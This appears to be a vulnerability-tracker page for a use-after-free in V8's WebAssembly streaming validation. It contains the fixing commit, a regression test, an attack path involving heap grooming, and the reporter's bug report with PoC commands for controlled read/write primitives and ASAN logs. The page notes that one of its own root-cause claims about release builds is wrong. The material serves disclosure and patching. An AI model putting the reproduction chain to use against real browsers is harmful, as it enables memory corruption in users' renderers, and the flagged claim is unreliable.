High patch-now ~ plausible CVSS 8.8 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Sub-componentWasm-streaming
Bug ClassUAF
Action tierpatch-now — corruption primitive, web-reachable in default config (plausible) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIPlausible
Reviewer notes: Claim that release builds lack the check is wrong: the removed CHECK_NULL is release-enabled, not a DCHECK, so the shown pre-fix destructor path would abort before freeing data; how the advisory's UAF manifests is not shown by the diff.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker523030583
Fix commit2ef100a053c5 (v8/v8) +48/-10
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedDuc Nguyen of Calif.io in collaboration with OpenAI Codex Security
Reported2026-06-12 · bounty $1000 (per vendor advisory)
Fix landed2026-06-22 (public git)
Disclosed2026-07-29
Patch gap37 days — fix public in source before the advisory

Background

WebAssembly streaming compilation
the mechanism behind WebAssembly.compileStreaming() that decodes and validates a Wasm module incrementally as its bytes arrive over the network, driven in V8 by AsyncStreamingProcessor.
`AsyncStreamingProcessor`
the V8 class that consumes streamed Wasm bytes, spawning background jobs such as the function-validation job to check the module while more bytes are still being received.
`ContextDisposedNotification`
a V8 embedder API that tells the isolate a Context (e.g. a frame) is going away, tearing down associated state including in-flight streaming compilation before the stream naturally finishes.
Job handle (`JobHandle`)
a platform abstraction (here validate_functions_job_handle_) that controls a background task; its Cancel() blocks until the running job stops and no longer touches its captured data.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Claim that release builds lack the check is wrong: the removed CHECK_NULL is release-enabled, not a DCHECK, so the shown pre-fix destructor path would abort before freeing data; how the advisory's UAF manifests is not shown by the diff.

The AsyncStreamingProcessor destructor assumed that either OnAbort() or OnFinishedStream() would always run first, each of which invalidates validate_functions_job_handle_, and it enforced this with CHECK_NULL(validate_functions_job_handle_). However, when a ContextDisposedNotification tears down streaming compilation mid-stream, the destructor can run while a function-validation job is still active and still holding a raw pointer into validate_functions_job_data_, which is freed as the processor is destroyed. This violates the invariant that no background job may outlive the data it references, producing a use-after-free (and, in release builds without the reachable CHECK, silent memory corruption) when the still-running validation job dereferences the freed validate_functions_job_data_.

The fix replaces the too-strong CHECK_NULL with a check that, if validate_functions_job_handle_ is non-null, calls Cancel() on it, synchronously terminating the validation job before the backing data is released.

Key insight
The core mistake was treating “a pending validation job always gets cancelled before destruction” as an unconditional invariant enforced by CHECK_NULL, when context disposal is a legitimate path that reaches the destructor with the job still running; the fix removes the false assumption and instead actively cancels the job so it can no longer reference freed memory.

Attack Path

  1. Start streaming compilation Attacker-controlled script calls WebAssembly.compileStreaming(), causing V8 to create an AsyncStreamingProcessor and begin consuming module bytes.
  2. Trigger background validation The attacker supplies bytes containing a function/code section (with lazy compilation such that only validation runs), so AsyncStreamingProcessor spawns the function-validation job backed by validate_functions_job_data_.
  3. Dispose the context mid-stream Before the stream finishes or aborts, the context is disposed (e.g. navigating or removing the frame), driving ContextDisposedNotification and running the AsyncStreamingProcessor destructor while validate_functions_job_handle_ is still non-null.
  4. Free data under a live job The destructor tears down the processor and frees validate_functions_job_data_ while the background validation job continues executing and reading that data, creating the use-after-free window.
  5. Corrupt or read freed memory By grooming the heap so the freed validate_functions_job_data_ is reallocated with controlled contents, the attacker turns the dangling access into memory corruption for further exploitation.

Impact Assessment

An attacker who can run script in a renderer gains a use-after-free inside the V8 engine in the renderer process, potentially leading to controlled memory corruption and remote code execution within the renderer sandbox. The precondition is initiating streaming Wasm compilation that leaves a validation job running and then causing the associated context to be disposed before the stream completes; reliable exploitation additionally requires heap-grooming to reclaim the freed validate_functions_job_data_ with attacker-controlled data.

Changed Functions

FunctionChangeNotes
compilation_unit_builder_
src/wasm/module-compiler.cc
modified
if
src/wasm/module-compiler.cc
modified
EmptyResolver
test/unittests/wasm/streaming-decoder-unittest.cc
modified
TEST_F
test/unittests/wasm/streaming-decoder-unittest.cc
modified

Files Changed

  • src/wasm/module-compiler.cc
  • test/unittests/wasm/streaming-decoder-unittest.cc

Audit Directions

  • Destructor invariants enforced by `CHECK_NULL`
    Look for destructors that assume a handle, job, or callback was already cleared by an earlier lifecycle hook; enumerate every teardown path (especially context/isolate disposal) to confirm the invariant truly holds instead of asserting it.
  • Background jobs outliving their data
    Audit places that spawn JobHandle-style background tasks capturing raw pointers into owner-held state, and verify each owner cancels or joins the job before freeing that state on all shutdown paths.
  • Context and isolate disposal paths
    Trace ContextDisposedNotification and similar early-teardown notifications to find in-flight asynchronous work (streaming compilation, deserialization, off-thread parsing) that may not be given a chance to abort cleanly.
From 2ef100a053c5e7368f97c0952153350045bb44fc Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Mon, 22 Jun 2026 10:59:08 +0200
Subject: [PATCH] [wasm-streaming] Terminate any pending validation job...

...when receiving a ContextDisposedNotification.

Bug: 523030583
Change-Id: Iee732c5e62ca63f473548209f285049126a87a65
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7967983
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108145}
---

diff --git a/src/wasm/module-compiler.cc b/src/wasm/module-compiler.cc
index 255bfe6..8cda414 100644
--- a/src/wasm/module-compiler.cc
+++ b/src/wasm/module-compiler.cc
@@ -3016,9 +3016,12 @@
       compilation_unit_builder_(nullptr) {}
 
 AsyncStreamingProcessor::~AsyncStreamingProcessor() {
-  // We expect {OnAbort()} or {OnFinishedStream()} to be called before the
-  // destructor runs. Both invalidate the {validate_functions_job_handle_}.
-  CHECK_NULL(validate_functions_job_handle_);
+  // When we receive a ContextDisposedNotification before the stream ends,
+  // we might still have a running validation job. Terminate that before
+  // freeing {validate_functions_job_data_}.
+  if (validate_functions_job_handle_) {
+    validate_functions_job_handle_->Cancel();
+  }
 
   if (owns_cache_entry_) {
     GetWasmEngine()->StreamingCompilationFailed(
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
 #include "src/wasm/streaming-decoder.h"
 
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
 #include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
 
 namespace v8 {
 namespace internal {
@@ -661,6 +658,44 @@
   ExpectFailure(base::ArrayVector(data));
 }
 
+class EmptyResolver : public CompilationResultResolver {
+ public:
+  void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+  void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+  FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+  FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+  std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+  WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+  std::shared_ptr<StreamingDecoder> stream =
+      GetWasmEngine()->StartStreamingCompilation(
+          features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+          resolver);
+  stream->InitializeIsolateSpecificInfo(isolate());
+
+  const uint8_t data[] = {
+      0x00, 0x61, 0x73, 0x6d,  // wasm magic
+      0x01, 0x00, 0x00, 0x00,  // wasm version
+      0x01, 0x04,              // Type section, length: 4
+      0x01, 0x60, 0x00, 0x00,  // One type, signature, no params, no results
+      0x03, 0x02,              // Function section, length: 2
+      0x01, 0x00,              // One function, type $sig0
+      0x0a, 0x04,              // Code section, length: 4
+      0x01, 0x02, 0x00, 0x0b,  // One function, length: 2, unreachable, end
+  };
+
+  stream->OnBytesReceived(base::VectorOf(data));
+
+  // Dispose context. This triggered crbug.com/523030583 before the fix.
+  v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
 }  // namespace wasm
 }  // namespace internal
 }  // namespace v8
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
 #include "src/wasm/streaming-decoder.h"
 
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
 #include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
 
 namespace v8 {
 namespace internal {
@@ -661,6 +658,44 @@
   ExpectFailure(base::ArrayVector(data));
 }
 
+class EmptyResolver : public CompilationResultResolver {
+ public:
+  void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+  void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+  FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+  FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+  std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+  WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+  std::shared_ptr<StreamingDecoder> stream =
+      GetWasmEngine()->StartStreamingCompilation(
+          features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+          resolver);
+  stream->InitializeIsolateSpecificInfo(isolate());
+
+  const uint8_t data[] = {
+      0x00, 0x61, 0x73, 0x6d,  // wasm magic
+      0x01, 0x00, 0x00, 0x00,  // wasm version
+      0x01, 0x04,              // Type section, length: 4
+      0x01, 0x60, 0x00, 0x00,  // One type, signature, no params, no results
+      0x03, 0x02,              // Function section, length: 2
+      0x01, 0x00,              // One function, type $sig0
+      0x0a, 0x04,              // Code section, length: 4
+      0x01, 0x02, 0x00, 0x0b,  // One function, length: 2, unreachable, end
+  };
+
+  stream->OnBytesReceived(base::VectorOf(data));
+
+  // Dispose context. This triggered crbug.com/523030583 before the fix.
+  v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
 }  // namespace wasm
 }  // namespace internal
 }  // namespace v8
Loading diff…

Original Bug Report

reported by du...@calif.io

V8 WebAssembly streaming-validation use-after-free (renderer)

V8 WebAssembly streaming-validation use-after-free (renderer)

Report fields

  • Program: Chrome Vulnerability Reward Program
  • Product / component: Chrome renderer — V8 WebAssembly streaming compilation and Wasm GC validation
  • Vulnerability type: Use-after-free (renderer memory corruption)
  • Affected version: Chromium 149.0.7827.102 (stable), x64
  • Demonstrated primitives: controlled read, controlled write, and full arbitrary read/write from web content (see Memory-corruption primitives below).

Summary

A web page can free WebAssembly streaming-validation state while a validation worker thread is still using it. The page starts WebAssembly.compileStreaming() in a same-origin top-level popup, keeps validation busy with an attacker-controlled ReadableStream, then closes the popup. Closing a top-level page tears down the async compile job and its streaming processor, but the validation worker keeps running and dereferences the now-freed validation and module state.

The proof escalates that dangling access into a controlled type confusion and demonstrates, on the ASAN build, a graduated set of memory-corruption primitives reachable from a web page: a controlled read from an attacker-chosen address, a controlled write of an attacker-chosen value to an attacker-chosen address, and a full arbitrary read/write of a victim TypedArray whose corrupted length is visible from JavaScript.

This report is scoped to a renderer-side memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise.

Root cause

Blink uses different V8 disposal semantics for top-level frames and dependent subframes:

// third_party/blink/renderer/core/frame/local_window_proxy.cc
//   LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);

For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false. That path deletes the active Wasm compile job:

// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
  if (!i_isolate->context().is_null()) {
    wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
        i_isolate->native_context());
  }
}

Destroying the async compile job tells the streaming decoder that compilation was discarded:

// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();

The lifetime that goes wrong:

  • AsyncStreamingProcessor owns ValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads.
  • ValidateFunctionsStreamingJob::Run() (worker thread) reads data_->GetUnit(), calls ValidateSingleFunction(module_, ...), and writes data_->UpdateDetectedFeatures(...).

Failing invariant: a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences.

The safe stream-finish and abort paths cancel or join validation work before freeing processor state. The top-level context-disposal discard path reaches processor teardown through NotifyCompilationDiscarded() without first proving the validation worker has stopped.

Trigger

The bug needs a top-level page lifetime transition — a same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent.

To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery:

  1. index.html registers payment-handler-sw.js and calls PaymentRequest.show().
  2. The service worker opens wasm-asan-controlled-crash-poc.html in a top-level window.
  3. That page opens a same-origin about:blank victim popup.
  4. The victim starts WebAssembly.compileStreaming() over a parent-controlled Response.
  5. The parent closes the victim while code-section validation is still active.
  6. Replacement modules reclaim the freed validation state, giving the page control over it.

Reproduction

Environment

OS:        Debian GNU/Linux 12 (bookworm), x86_64
Kernel:    5.15.0-176-generic
glibc:     2.36
Chrome:    Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
           v8_enable_sandbox = true, dcheck_always_on = false

Stable 149.0.7827.102 is a release-branch build and is not published as an official ASAN binary; the binary here is built from the exact 149.0.7827.102 source (chromium commit 112f665d98a2fe84b156c74fbea2aed742f16c15) with the ASAN configuration above.

Steps

cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://127.0.0.1:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"

# Controlled read  (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
  "$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"

# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
  "$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"

The exploit races a validation worker against context disposal, so it is timing-sensitive; re-run if the RUN12x markers do not appear (the parameters above are tuned for this build).

Memory-corruption primitives

All output below is the unmodified stderr from the 149.0.7827.102 ASAN build. Full run logs are under traces/.

The bug — validation worker reads freed state

The streaming-validation worker thread crashes while dereferencing its freed job state. Full AddressSanitizer report (traces/plain-uaf-crash/chrome.stderr.log):

=================================================================
==3234593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bfc6d391888 at pc 0x7f4c8e291271 bp 0x7b484c6444a0 sp 0x7b484c644498
READ of size 8 at 0x7bfc6d391888 thread T8 (ThreadPoolForeg)
    #0 0x7f4c8e291270 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f4c88cc6939 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1 const&, v8::JobTask*>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1, base::internal::UnretainedWrapper<v8::JobTask, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, unsigned long (unsigned long)>::Run(base::internal::BindStateBase*, unsigned long) gin/v8_platform.cc:306:30
    #2 0x7f4cf1fb45af in base::RepeatingCallback<unsigned long (unsigned long)>::Run(unsigned long) const & base/functional/callback.h:346:12
    #3 0x7f4cf1fb3b54 in base::internal::JobTaskSource::WillRunTask() base/task/thread_pool/job_task_source.cc:342:45
    #4 0x7f4cf1fd9efc in base::internal::ThreadGroup::TakeRegisteredTaskSource(base::internal::ThreadGroup::BaseScopedCommandsExecutor*) base/task/thread_pool/thread_group.cc:272:54
    #5 0x7f4cf1fe1887 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWorkLockRequired(base::internal::ThreadGroup::BaseScopedCommandsExecutor*, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:527:27
    #6 0x7f4cf1fe20b9 in base::internal::ThreadGroupImpl::WorkerDelegate::SwapProcessedTask(base::internal::RegisteredTaskSource, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:620:24
    #7 0x7f4cf1ff96e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:486:23
    #8 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #9 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #10 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #11 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7bfc6d391888 is located 120 bytes after 112-byte region [0x7bfc6d3917a0,0x7bfc6d391810)
allocated by thread T0 (chrome) here:
    #0 0x5583320a763d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf02638c3 in ipcz::RemoteRouterLink::Create(ipcz::Ref<ipcz::NodeLink>, ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide) third_party/ipcz/src/ipcz/remote_router_link.cc:51:19
    #2 0x7f4cf0230c01 in ipcz::NodeLink::AddRemoteRouterLink(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/node_link.cc:122:15
    #3 0x7f4cf0276ad3 in ipcz::Router::SerializeNewRouterWithLocalPeer(ipcz::NodeLink&, ipcz::RouterDescriptor&, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/router.cc:903:43
    #4 0x7f4cf0276563 in ipcz::Router::SerializeNewRouter(ipcz::NodeLink&, ipcz::RouterDescriptor&) third_party/ipcz/src/ipcz/router.cc:856:7
    #5 0x7f4cf02657fb in ipcz::RemoteRouterLink::AcceptParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/remote_router_link.cc:298:17
    #6 0x7f4cf026c6cd in ipcz::Router::SendOutboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:200:11
    #7 0x7f4cf0271077 in ipcz::Router::Put(absl::Span<unsigned char const>, absl::Span<unsigned long const>) third_party/ipcz/src/ipcz/router.cc:409:29
    #8 0x7f4cf01f1232 in Put third_party/ipcz/src/api.cc:173:18
    #9 0x7f4cf019a662 in MojoWriteMessageIpcz mojo/core/core_ipcz.cc:197:29
    #10 0x7f4cf00f8360 in MojoWriteMessage mojo/public/c/system/thunks.cc:81:10
    #11 0x7f4cf0481d57 in mojo::Connector::AcceptAndGetResult(mojo::Message*) mojo/public/cpp/system/message_pipe.h:97:10
    #12 0x7f4cf04819c8 in mojo::Connector::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/connector.cc:317:23
    #13 0x7f4cf04998ae in mojo::InterfaceEndpointClient::SendMessage(mojo::Message*, bool) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:636:21
    #14 0x7f4cf0405155 in mojo::internal::SendMojoMessage(mojo::MessageReceiver&, mojo::Message&) mojo/public/cpp/bindings/lib/send_message_helper.cc:22:26
    #15 0x7f4ca07cebaa in ukm::mojom::UkmRecorderFactoryProxy::CreateUkmRecorder(mojo::PendingReceiver<ukm::mojom::UkmRecorderInterface>, mojo::PendingRemote<ukm::mojom::UkmRecorderClientInterface>) gen/services/metrics/public/mojom/ukm_interface.mojom.cc:921:3
    #16 0x7f4cec2bd8d6 in ukm::MojoUkmRecorder::MojoUkmRecorder(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:25:13
    #17 0x7f4cec2bd5c1 in ukm::MojoUkmRecorder::Create(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:20:31
    #18 0x7f4c9f3b86e7 in blink::Document::UkmRecorder() (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x6c0d6e7) (BuildId: 86034637d8af1588)
    #19 0x7f4c9e32b2d6 in blink::FrameLoader::CommitDocumentLoader(blink::DocumentLoader*, blink::HistoryItem*, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b802d6) (BuildId: 86034637d8af1588)
    #20 0x7f4c9e336671 in blink::FrameLoader::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8b671) (BuildId: 86034637d8af1588)
    #21 0x7f4c9cc4635b in blink::WebLocalFrameImpl::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x449b35b) (BuildId: 86034637d8af1588)
    #22 0x7f4cd5f76fab in content::RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5772:11
    #23 0x7f4cd5f744da in content::RenderFrameImpl::BeginNavigation(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5701:5
    #24 0x7f4c9cbc3142 in blink::LocalFrameClientImpl::BeginNavigation(blink::ResourceRequest const&, blink::KURL const&, blink::mojom::RequestContextFrameType, blink::LocalDOMWindow*, blink::DocumentLoader*, blink::WebNavigationType, blink::NavigationPolicy, blink::WebFrameLoadType, blink::mojom::ForceHistoryPush, bool, bool, blink::mojom::TriggeringEventInfo, blink::HTMLFormElement*, network::mojom::CSPDisposition, mojo::PendingRemote<blink::mojom::blink::BlobURLToken>, base::TimeTicks, base::TimeTicks, blink::String const&, std::__Cr::optional<blink::Impression> const&, base::TokenType<blink::LocalFrameTokenTypeMarker> const*, blink::SourceLocation*, mojo::PendingRemote<blink::mojom::blink::NavigationStateKeepAliveHandle>, bool, bool, mojo::PendingReceiver<blink::mojom::blink::NavigationResumeDeferredCommitListener>, std::__Cr::optional<base::UnguessableToken>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4418142) (BuildId: 86034637d8af1588)
    #25 0x7f4c9e33247c in blink::FrameLoader::StartNavigation(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8747c) (BuildId: 86034637d8af1588)
    #26 0x7f4c9c9c9a10 in blink::LocalFrame::Navigate(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x421ea10) (BuildId: 86034637d8af1588)
    #27 0x7f4c9c9abcc0 in blink::LocalDOMWindow::open(v8::Isolate*, blink::String const&, blink::AtomicString const&, blink::String const&, blink::ExceptionState&) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4200cc0) (BuildId: 86034637d8af1588)
    #28 0x7f4c84776ef5 in blink::(anonymous namespace)::v8_window::OpenOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) v8_window.cc
    #29 0x7b483ac906d3  (<unknown module>)

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f4cf1fe1106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1ff942a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
    #0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
